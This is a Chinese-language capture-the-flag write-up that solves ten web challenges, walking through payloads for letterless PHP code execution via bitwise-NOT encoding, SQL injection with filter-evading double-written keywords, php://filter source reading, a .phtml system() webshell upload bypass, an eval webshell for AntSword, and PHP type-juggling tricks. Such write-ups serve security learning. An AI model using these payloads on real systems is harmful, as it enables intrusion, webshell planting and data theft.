0x00 RCE_ME

考点

  • 无数字字母RCE

题解

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这是一道代码执行的题目,限制了注入的代码的长度不超过40,并且不能包含数字和字母。在php7中引入了一个新的特性, https://www.php.net/manual/zh/migration70.incompatible.php :

7

也就是说php5和php7的差别在于,php7支持解析下面的代码,但是php5不行:

1
(phpinfo)();

用Wappalyzer解析后,发现当前的php版本是7.0.33:

1

所以我们可以将phpinfo命令进行编码传入,这样就能绕过正则匹配了。一般情况下我们可以用^|或是~这种取反异或的符号来绕过。比较习惯取反符号~

1
2
3
4
5
<?php
$a = "phpinfo";
echo urlencode(~$a);

// ?code=(~%8F%97%8F%96%91%99%90)();

0

收集一下phpinfo信息:

1
2
3
4
5
php version: 7.0.33

disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

open_basedir: no value

虽然禁掉了很多命令执行的函数,但是像scandir这类函数都是可以使用的,所以使用print_r(scandir('./'))查看下当前的目录下有什么东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
// print_r(scandir('./'))
<?php
$a = "print_r";
$b = "scandir";
$c = "./";

echo urlencode(~$a);
echo "<br>";
echo urlencode(~$b);
echo "<br>";
echo urlencode(~$c);

// ?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1%D0));

2

没有找到flag,在根目录下搜索:

1
?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0));

发现了两个flag相关文件,flagreadflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Array
(
[0] => .
[1] => ..
[2] => .dockerenv
[3] => bin
[4] => boot
[5] => dev
[6] => etc
[7] => flag
[8] => home
[9] => lib
[10] => lib64
[11] => media
[12] => mnt
[13] => opt
[14] => proc
[15] => readflag
[16] => root
[17] => run
[18] => sbin
[19] => srv
[20] => sys
[21] => tmp
[22] => usr
[23] => var
)

尝试读取flag失败,再尝试读取readflag,发现是一个二进制文件,是需要执行读取flag的:

4

那只能先连接蚁剑了:

1
2
3
4
5
6
7
8
9
10
<?php
$a = 'assert';
$b = 'eval($_POST[1])';

echo urlencode(~$a);
echo "<br>";
echo urlencode(~$b);
echo "<br>";

// ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);

3

连接上去之后,将exp上传到/tmp目录下:

5

注意修改该exp为pwn("/readflag");

40

然后include该文件读取flag:

6

0x01 HTTP

考点

  • http请求头伪造

题解

打开题目后是一个挺好看的站点,但没什么功能点的感觉,用burp抓包后发现了一个php页面Secret.php

8

访问/Secret.php,提示It doesn't come from 'https://www.Sycsecret.com'

9

所以需要修改referer:

10

请求之后返回提示请求的浏览器应为Syclover,修改UA即可:

11

说明我们的请求原始ip地址需要为localhost,这里就需要修改X-Forwarded-For请求头了, X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段:

12

读取到了flag。

0x02 EasySQL

考点

  • 字符串型注入

题解

打开题目,先注入:

1
2
username : 1'
password : 1

发现报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

发现是字符串型注入,并且是单引号'闭合。

我们直接试一下万能密码:

1
?username=-1' or 1=1%23&password=1

直接获得flag:flag{cca2c7b9-2a85-4f7e-9e82-53ec2cdf7656}

0x03 BabySQL

考点

  • 双写绕过

题解

直接上万能密码:

1
?username=1' or 1=1%23&password=1

报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1#' and password='1'' at line 1

发现or被过滤了,所以可以双写绕过:

1
?username=1' oorr 1=1%23&password=1

登录成功有数据回显

13

所以直接进行报错注入。

在尝试过程中发现过滤了:

1
2
3
4
select
where
or
and

等字符,对他们进行双写后有:

1
?username=1' oorr updatexml(1,concat(selselectect group_concat(TABLE_NAME) from infoorrmation_schema.TABLES whwhereere TABLE_SCHEMA=database()),1)%23&password=1

但是返回报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select group_concat(TABLE_NAME) information_schema.TABLES where TABLE_SCHEMA=da' at line 1

这应该是SQL查询语句过长导致的,所以我就放弃了报错注入,转而尝试用联合查询注入。

先看字段数:

1
?username=1' oorrder bbyy 4%23&password=1

14

最后发现是3列。接着看回显字段:

1
?username=1' uniunionon selselectect 1,2,3%23&password=1

15

发现回显字段是2和3。

爆表名,注意对orselectfromwhere进行双写:

1
?username=1' uniunionon selselectect 1,(seselectlect group_concat(TABLE_NAME) frfromom infoorrmation_schema.TABLES whwhereere TABLE_SCHEMA=database()),3%23&password=1

得到数据表名b4bsqlgeekuser,flag应该藏在b4bsql表中,接着爆字段名:

1
?username=1' uniunionon selselectect 1,(selselectect group_concat(COLUMN_NAME) frfromom infoorrmation_schema.COLUMNS whwhereere TABLE_NAME=0x62346273716c),3%23&password=1

获得字段名idusernamepassword,接着爆数据:

1
?username=1' uniunionon selselectect 1,(selselectect group_concat(passwoorrd) frfromom b4bsql),3%23&password=1

获得flag。

16

0x04 LoveSQL

考点

  • 联合查询注入

题解

先找数据表名:

1
?username=1' union select 1,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),3%23&password=1

得到表名geekuserl0ve1ysq1

感觉flag应该存放在l0ve1ysql数据表中,爆字段:

1
?username=1' union select 1,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6c3076653179737131),3%23&password=1

获得字段名idusernamepassword,最后爆数据,获得flag。

1
?username=1' union select 1,(select group_concat(password) from l0ve1ysq1),3%23&password=1

17

0x05 Secret File

考点

  • 伪协议读取源码

题解

打开题目,访问页面用burp抓包。

18

然后访问Archive_room.php之后,又发现源码中提示action.php,访问该页面后提示secr3t.php

21

访问/secr3t.php文件,获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

这里过滤掉了一些伪协议,比如inputdata,但是还可以用filter读取源码:

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

19

base64解码,成功读取flag。

20

0x06 Knife

考点

  • 中国菜刀/蚁剑等工具使用

题解

打开题目就看到提示:

29

显然是用菜刀或是蚁剑解决的一道题,先试一下能不能执行phpinfo();

24

可以执行,这道题就是考察蚁剑或是中国菜刀等工具的使用,很简单,直接上蚁剑:

25

这里的密码注意是Syc,因为前面是eval($_POST["Syc"]);,否则连上去会像乱码一样,因为是post请求,所以还得设置请求体:

26

连接上去后在根目录下发现flag文件:

27

直接读取:

28

0x07 Upload

考点

  • 文件上传绕过

题解

打开题目,是一个文件上传的点,随便上传一张图片,返回Not image,修改文件头为GIF89a

31

这样就绕过了第一步的限制,接着尝试写入恶意脚本,修改文件后缀名为php,被wa掉了,禁止上传后缀为php的文件,尝试了php5等常见的后缀名后,发现.phtml没有被禁掉,接着尝试写入一句话木马<?php system($_GET['cmd']);?>

32

被拦下,服务器端会检查用户上传的文件的内容是否包含敏感字符<?,可以用js的<script>绕过:

1
2
3
<script language="php">
system($_GET['cmd']);'
</script>

成功上传了文件之后,我们还需要上传的文件在哪里,上dirsearch扫描:

30

发现了文件的保存路径/upload,接着在根目录/下发现了flag:

1
/upload/shell.phtml?cmd=cat%20-al%20/

33

读取flag:
34

0x08 Havefun

考点

  • 水题

题解

打开题目,F12查看源码:

35

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

直接访问/?cat=dog就得到了flag:

36

0x09 BuyFlag

考点

  • php strcmp()函数漏洞

题解

查看右边的导航栏,发现了一个页面pay.php

37

右键查看源码或者是burp抓个包就能发现源码:

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

需要post两个参数,moneypassword,password的绕过很简单,因为是弱类型比较,所以令password=404xxx即可,但如果简单的令money=100000000的话,会得到Nember lenth is too long

39

然后发现了php的版本是5.3,该版本的strcmp()函数存在一个漏洞。

strcmp漏洞 (PHP<=5.3)

当该函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0,也就是说虽然会报错,但却判定其相等。

利用该漏洞,我们另money[]=10000000

38

成功得到了flag。